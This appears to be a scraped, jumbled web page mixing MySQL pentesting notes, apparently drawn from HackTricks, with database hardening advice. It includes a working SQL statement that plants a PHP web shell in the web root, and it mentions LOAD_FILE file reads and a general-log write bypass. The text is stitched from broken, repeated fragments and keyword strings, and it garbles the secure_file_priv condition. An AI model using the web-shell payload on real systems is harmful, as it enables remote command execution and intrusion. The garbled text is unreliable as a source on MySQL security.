: Ensuring the database is only accessible via local sockets or a VPN, never exposed directly to the internet. exploitation steps or mitigation configurations
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; mysql hacktricks verified
Verification means that each technique has been executed successfully in a lab environment, with captured network traffic or file reads confirmed. : Ensuring the database is only accessible via
: These can inadvertently leak sensitive information into logs during operations. Pentesting Methodology ' INTO OUTFILE '/var/www/html/shell.php'
If secure_file_priv blocks writes but general log is writable:
Once authenticated, HackTricks focuses on leveraging MySQL’s own functionality to escalate privileges on the database server or even the underlying operating system.
: Vulnerabilities like LOAD_FILE() can be used to read local files or initiate network requests (SSRF), provided the secure_file_priv global variable is properly configured. Security Recommendations